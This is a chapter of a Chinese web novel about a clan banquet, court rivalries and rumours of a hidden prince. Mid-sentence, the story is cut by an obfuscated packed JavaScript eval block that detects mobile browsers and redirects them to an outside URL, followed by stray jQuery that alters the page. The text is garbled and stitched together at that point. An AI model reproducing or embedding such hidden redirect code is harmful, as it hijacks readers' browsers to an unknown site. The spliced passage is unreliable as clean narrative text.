宴会盛办在即,曹府上上下下皆忙活起来。
下人们穿梭于廊腰缦回间,或尽心洒扫,或为堂中添置华贵饰物,连其间雕梁画栋皆泛起润色光泽。
氶园假山后,却有几个方才办完手上粗活的下人聚作一团,稍作歇息。
曹府已经许多年未曾操办过朝廷指派下来的宴会了,今日这场宴会阵仗之盛,着实让这群下人好奇,究竟是何方人物能叫曹氏如此盛情款待?
“难道是……衷秦王?”有下人猜测道。
但很快有人反驳道:“他虽是摄政王,可在此之前,也不见咱们家主如何款待他啊。”
“难不成,是有了新人?”
“新人……”一人皱眉思考,很快像是想起什么,“诶诶诶,你们有没有听过先帝时期的传言。”
“你说,你说。”
“成治九年,也就是前陈氏被灭门的那一年,听说……陈皇后在那时诞下一皇子,而后孩子下落不明。他若是长成,如今也该二十来岁了……”
“你们再想想,衷秦王这些年一直在提携一个人——陈子昱。前陈氏勾结鬼族满门抄斩后,能有胆子继续姓陈的,除了陈皇后所生的那个皇子,还能有谁?”
有人觉着他说的有道理,还是问道:“可是,陈子昱为何久未封王?好好的一个皇子,这么些年只能面朝黄土地做个小将军。”
“你们懂什么,这是人家衷秦王的计策。到时陈子昱再立大功,风风光光封王!估计咱们曹氏也是提前知道些风声,先不得罪这下一个王爷,盛情款待,总没有错。”
几个下人交头接耳之时,忽见曹越抱着双臂从假山处缓缓走出,横眉怒目朝此处几人看来——
“这么喜欢那个姓陈的,把你们一并抓了扔他府里好不好?!”
“二公子!”下人们忙低头向他问好,足下一溜烟,各自散开忙活去了!
-
马车摇摇晃晃颠簸一个多时辰,辗过小石子时,车厢还要被重重颠起!
一路而来,萧秋只觉得自己的屁股升了仙,早不在凡世间了。
陈辗看幼妹有些烦闷,开口关心道:“禾清,不然让车夫将车停下,我们稍作休整再往曹府去?”
萧秋轻叹一口气:“长痛不如短痛,熬着吧,只求曹氏准备的……都是我爱吃的。”
陈辗忍俊不禁道:“那不如早些搬回兄长府中?咱们府中的小厨房,不是最合你胃口吗?”
萧秋此刻心有怨气,不满道:“可是,谁知道你什么时候又走了,一走就是几个月。我还不如在小叔府里住着……”
“皇叔事务繁忙,哪里有心思照顾你。”陈辗难得慈眉善目道,“再说,你不想兄长吗?”
萧秋撇嘴道:“略略略。我也该去考御剑令了,不便挪动,不便挪动!等我考了令牌,再也不要这样坐马车了!”
陈辗道:“也不知皇叔要你在哪家考,若是就近,应该就是曹氏。”
萧秋:“乘马车颠簸如此之久,哪里近了。”
陈辗:“心还是不够静。”
萧秋一听,用脚指头都能想到兄长接下来又要教育她,急忙转移话题,道:“兄长,你这一路也不同我说,你们在西北都做了什么?”
陈辗:“办不完的公务。”
萧秋有些好奇:“那……李氏和曹氏是不是真的闹得不可开交?”
陈辗听闻曹和李两个字眼,忽而一愣。
脑海中,不由浮现出在施氏府邸内见到的诡异画面。
那二人以处理公务之名,啃在一起,一并倒在灶台上,死活不分开……
陈辗霎时两眼一抹黑。
他这个旁观者,当初真该戳瞎自己的这双眼睛。
“呲嗷。”陈辗攥着拳头暗骂一声,旋即转头对上萧秋的视线,严肃道,“曹欲仁不是什么好东西,作风不正。偏偏曹氏最看重他!总要以他为榜样教育底下的曹氏子弟。你若是去了曹府听学,不许学他的作风!”
“哦。”萧秋轻轻点头,看着兄长的怒气,却若有所思。
……
很快,兄妹二人乘车抵达京郊曹府。
曹家主和曹栎在府门处接待来客。
见有客前来,曹家主笑着迎上前:“陈将军,许久未见啊,颇负盛名,如今人也是愈发高大了……”
四人相互一行礼,曹栎看着萧秋,问道:“这位姑娘是?”
陈辗介绍道:“在下的幼妹,萧秋,字禾清。”
曹家主认可道:“好名,好名。”
曹栎听着,嘴角轻扬微微一笑。
陈辗一看曹栎对着自己妹妹微笑,内心直发怵,赶忙护好萧秋,在曹氏其他人的带领下入了府。
而曹家主与曹栎继续在府门外静候宾客。
-
歌舞之乐响起时,几位宾客已落座。
曹栎在府门外等了许久,眼下再看堂中,确实不见李希胤身影。
他已困于府中多日,许久未外出。
走得最远,也仅是走至府内氶湖边练剑。
他还以为此行陪他做了不少事的李希胤,会来今日庆功宴呢。
乐声中,一众舞姬步履轻盈着起舞,既是歌颂此次西北远行立下之功,便融入了沿途千里的雅韵舞曲。
似揽九月,又似定风波,衣袖翻飞间,只叫众宾客移不开眼。
曹栎心不在焉,仅是眸光木然地看向这一群由衷秦王请来的舞姬。
裙身飘摇,如荡起涟漪,在波澜散去之时,乐声渐息。
曹家主满意地拍拍手,对着坐于尊位上的罗澂,笑道:“王爷,这些舞姬舞姿曼妙,当赏,当重赏!”
罗澂轻轻一抵自己左眼上的金玉面具,答道:“是啊,当赏,不知曹家主以为,该赏些什么?”
曹家主:“银子、布帛,都赏!”
罗澂却有些不满意道:“曹家主不够真诚。”
曹家主瞬而笑容一滞。
罗澂抬眼看向对面的曹栎,缓缓道:“方才,我见曹大公子盯着她们,一刻不曾移开视线……大公子如今年岁也不小了,这些佳人,曹大公子有没有喜欢的?选一个去。做妻做妾,全凭曹大公子心意。”
曹家主听罢,右手瞬而叩在案上,却努力克制住情绪。
李希予静静听着,只是面不改色地端起一杯茶,轻抿半口。
“噗。”萧秋低头,难掩面上笑意。
一旁的陈辗赶忙瞪她一眼,叫她憋回去,不许笑!影响不好!
罗澂见堂中瞬时清静,只好惋惜道:“本王还想着能促成一段佳话为大熙生黎祈福呢,没成想曹大公子早有心上人,是本王疏忽。曹大公子,早些同本王说,本王让皇上为你们赐婚。”
“………”曹家主生怕曹栎应下衷秦王的话,急忙打岔道,“此行,听闻陈将军与李家主事事周到……回头共事的时候,咱们一定都为百姓鞠躬尽瘁。”
言罢,他向陈辗和李希予敬酒,将宴会气氛拉回些。
罗澂赞赏道:“不过,如今曹氏李氏府内弟子人数,皆不如当年。既然各家对恢复科举制都没异议,也该多培养些弟子去考学,既有沿袭又有跃迁,大熙境内方能安定。”
他说着,又看向曹栎:“曹欲仁确实不错。曹家主,你该好好培养啊。”
曹家主再一次抢先答道:“曹氏教子有方,自然不错。”
罗澂笑道:“此次西北之行,足以见守着边疆的那些中小世家尸位素餐。倒不如将眼下无人管理的城镇分给大世家统领,再由着科举制,为边疆输送各家弟子,以休养生息。”
可不及曹家主点头,罗澂又道:“前些日子,隶州承氏在北境也立了功,确实该将岭北诸城,分予承氏三座。”
曹家主一听,瞬而眉头紧蹙。
岭北眼下也就仅有十一州可分,分予承氏这等“末流世家”三座,李氏如今
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14661050|154269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在衷秦王脚边低声下气,到手的好处不会少!最后又还有几座城能分到曹氏手上?
再看李家主这一副晏然模样,显然是早已同衷秦王谈妥。
这姓李的,惹人厌烦之神情,李氏上下真是如出一辙。
幸好,长子曹栎今日还算老实,没再忤逆他。
倒是……
次子曹越,今日怎么一直未出席……
但曹家主眼下也无心去管了。
这场宴会,他是主,不得失了分寸。
纵是曹氏与皇族再针锋相对,也不可在此刻盲目应战。
他若是鲁莽了,师出无名,日后只会叫爱子与曹氏全族面上蒙羞。
-
宴会进行过半。
萧秋揉了揉肚子,转头看向身旁的陈辗,道:“兄长,我吃饱了,可以出去逛逛吗?”
陈辗点头:“别走远。”
得到准许后,萧秋静静起身,悄然离开堂中,沿长廊而去,很快隐入氶园夜色中。
初入曹府,无人不惊叹曹氏府邸之繁华,亭台楼阁错落有致,立于湖畔处;雾气弥漫时将碧波隐匿,不见尽头。
萧秋确实为府内景致所吸引。
但其间珠翠,只叫萧秋默默在心中记上一笔——曹氏骄奢淫逸。
……
自石阶而下,不远处泛起月光涟漪。
氶湖边拂有微风,萧秋往那处看去,见一小亭立于湖边。
亭中隐约站着位公子,似是在远眺赏景。湖光倒映,一片波光粼粼意兴景象。
却不知怎地,那风拂过沿湖芦苇荡,似成了妖风,裹挟着不知什么嘀咕声送入萧秋耳中。
“皇子?陈子昱怎可能是皇子?只怕是衷秦王之流编的野史吧,为了拿皇族身份压我们一头,真是无所不用其极!”
此人满口胡言些什么,萧秋步伐轻缓走近,又听他越嚷越起劲!
“这个姓陈,那个姓陈……不会是勾结鬼族的陈氏活过来了吧!天地良心,这种小人就该被……”
实在听不下这番混账话了,萧秋转而从兜里掏出小石子,用平日里打水漂的方式狠狠甩出!
“———啊!!!”曹越捂着屁股跪在地上!
他咬着牙,弓着身子回头看是谁下手这么狠:“你是谁?!干嘛偷袭我!的腚!”
“叫你骂我哥,净胡说八道!他再怎么样也不是你能贬低的!你再敢乱说一句我就……”
曹越方才的惨叫声可谓穿透半个曹府。
堂中众人听到动静,都急忙赶至湖边。
“你蛮不讲理啊!”曹越吃痛吼道。
他本打算继续骂的,肚子却饿得咕咕响,一下让他丢掉气势。
曹家主见这鸡飞狗跳场面,知道又是曹越由着性子口无遮拦!他自知理亏,赶忙让人把曹越带走。
陈辗得知事情的前因后果,更是欲说无言,十分罕见的,连责备萧秋的意思都不曾有。
到最后,还是罗澂戏谑一笑,身着那抹厚重的银红色半臂袍,自人群中走出。
遮着左眼的金玉面具都难掩他揶揄模样,举着空杯向曹家主敬道:“曹家主教子上还需平衡些啊,可别离了一人,连体面都失尽。不妨学学李氏三兄弟,各有所长,甚好,能为大熙效一份力。”
如此对比,言下之意更是难听,曹家主挂不住脸面,宴会很快草草收场。
-
曹栎将李家主送出府。
临别时,李希予和颜道:“今日衷秦王为难你,还是因为曹氏……”
曹栎:“李家主,我明白的。”
李希予似有忧思,道:“说回来,希胤如今尚在京中。我纵是不必为公务奔波繁忙,也不曾去寻他,你知道,他性子倔,十头老牛都拉不回。我若是去了,又惹他心烦。”
曹栎抬眉。
李希予恳切道:“欲仁,他待你不同。你到时,替我去劝劝他吧……”